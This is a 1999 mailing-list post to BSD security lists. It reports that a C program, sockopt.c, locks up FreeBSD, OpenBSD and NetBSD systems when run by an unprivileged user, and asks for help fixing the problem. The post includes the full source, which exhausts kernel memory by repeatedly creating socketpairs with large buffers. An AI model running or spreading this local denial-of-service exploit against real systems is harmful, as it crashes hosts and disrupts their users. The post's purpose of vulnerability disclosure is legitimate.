Date: Fri, 17 Dec 1999 01:09:40 EST From: "jason schwab" <jasonschwab@hotmail.com> To: freebsd-security@freebsd.org, openbsd-tech@openbsd.org Cc: rojah@uswest.net, skalir@uswest.net, ghandi@mindless.com, skalir@hotmail.com Subject: !!!really, really big problem with *BSD!!! Message-ID: <19991217060946.67059.qmail@hotmail.com>
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I was surfing the net and talking on irc, as usual, I see this
sockopt.c file, my friend sends me it, he tells me it'll lock up
any openbsd / netbsd / freebsd server, just compile normally and run
it.. poof locks up...
I tried it on OpenBSD 2.5, OpenBSD 2.6, FreeBSD 3.1-RELEASE,
FreeBSD 3.2-STABLE, FreeBSD 3.3-RELEASE and FreeBSD 3.3-STABLE
and it WORKED.
can we work together on fixxing this? non-root user, just compiles
and runs, and poof system locks up.
Thanks,
Jason L. Schwab
(below is the sockopt.c file, also found on www.hack.co.za)
<......snip.......>
/*
FreeBSD FreeBSD 3.2
NetBSD NetBSD 1.4
OpenBSD OpenBSD 2.5
*/
#include <unistd.h>
#include <sys/socket.h>
#include <fcntl.h>
#define BUFFERSIZE 204800
extern int
main(void)
{
int p[2], i;
char crap[BUFFERSIZE];
while (1)
{
if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
break;
i = BUFFERSIZE;
setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
fcntl(p[0], F_SETFL, O_NONBLOCK);
fcntl(p[1], F_SETFL, O_NONBLOCK);
write(p[0], crap, BUFFERSIZE);
write(p[1], crap, BUFFERSIZE);
}
exit(0);
}
/* www.hack.co.za */
end <snip>
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